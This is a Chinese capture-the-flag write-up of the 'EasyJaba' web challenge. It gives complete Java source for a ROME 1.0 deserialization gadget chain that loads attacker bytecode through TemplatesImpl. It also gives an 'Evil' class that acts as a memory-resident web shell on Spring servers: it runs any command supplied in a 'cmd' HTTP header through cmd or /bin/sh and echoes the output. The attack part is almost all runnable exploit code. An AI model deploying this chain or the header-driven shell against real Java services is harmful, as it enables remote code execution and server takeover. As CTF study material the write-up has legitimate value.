当前位置:网站首页>陇原战“疫“2021网络安全大赛 Web EasyJaba
陇原战“疫“2021网络安全大赛 Web EasyJaba
2022-07-05 03:58:00 【Sk1y】
陇原战"疫"2021网络安全大赛 Web EasyJaba
查看源码,禁用了一些类
(这里说一下反编译工具的情况,之前我一直用的jd-gui,但是本题的附件,使用jd-gui,无法看到禁用的相关信息,如下;而上面的截图,是使用的是jdax1.4)
同时发现调用了rome1.0,所以就是用的rome1.0那条链了
HashMap类的作用是触发hashCode,而BadAttributeValueExpException类的作用是触发toString,看本题的源码,其中可以直接调用object.toString,就不需要入口类了
改写一下rome链
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//恶意字节码
byte[] code = Files.readAllBytes(Paths.get("D:\\project\\java\\cc1\\src\\main\\java\\Rome\\Evil.class"));
// byte[] code = Files.readAllBytes(Paths.get("D:\\project\\java\\test\\target\\classes\\calc1.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null,不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{
code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
// toStringBean.toString();
byte[] aaa = serialize(toStringBean);
System.out.println(Base64.getEncoder().encodeToString(aaa));
}
}
不出网
因为本题不出网,所以使用的是网络上流传的spring不出网情况下加载的恶意类
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
javac进行编译为Evil.class,加载这个恶意class
最后的效果
看fmyyy师傅的wp,其实可以使用Hashtable替换HashMap,一样可以触发hashCode,原有的链子可以打通(我没成功,应该是哪点写的有问题),具体链接放下面了
参考链接
边栏推荐
- Some enterprise interview questions of unity interview
- 面试字节,过关斩将直接干到 3 面,结果找了个架构师来吊打我?
- UI自動化測試從此告別手動下載瀏覽器驅動
- Redis6-01nosql database
- Containerization Foundation
- [understand series after reading] 6000 words teach you to realize interface automation from 0 to 1
- Deep learning - LSTM Foundation
- Redis之Jedis如何使用
- UI automation test farewell to manual download of browser driver
- 花了2晚,拿到了吴恩达@斯坦福大学的机器学习课程证书
猜你喜欢
EasyCVR平台出现WebRTC协议视频播放不了是什么原因?
grandMA2 onPC 3.1.2.5的DMX参数摸索
【看完就懂系列】一文6000字教你从0到1实现接口自动化
Containerization Foundation
Timing manager based on C #
花了2晚,拿到了吴恩达@斯坦福大学的机器学习课程证书
灵魂三问:什么是接口测试,接口测试怎么玩,接口自动化测试怎么玩?
Web components series (VII) -- life cycle of custom components
Test d'automatisation de l'interface utilisateur télécharger manuellement le pilote du navigateur à partir de maintenant
[安洵杯 2019]不是文件上传
随机推荐
Use Firefox browser to quickly pick up Web image materials
为什么百度、阿里这些大厂宁愿花25K招聘应届生,也不愿涨薪5K留住老员工?
Containerd series - detailed explanation of plugins
provide/inject
Clickhouse materialized view
Containerd series - what is containerd?
A brief introduction to the behavior tree of unity AI
How is the entered query SQL statement executed?
Special Edition: spreadjs v15.1 vs spreadjs v15.0
【web源码-代码审计方法】审计技巧及审计工具
3. Package the bottom navigation tabbar
ClickPaaS低代码平台
[positioning in JS]
Anti debugging (basic principles of debugger Design & NT NP and other anti debugging principles)
Excuse me, my request is a condition update, but it is blocked in the buffer. In this case, can I only flush the cache every time?
测试开发是什么?为什么现在那么多公司都要招聘测试开发?
BDF application - topology sequence
花了2晚,拿到了吴恩达@斯坦福大学的机器学习课程证书
企业级:Spire.Office for .NET:Platinum|7.7.x
Summary of scene design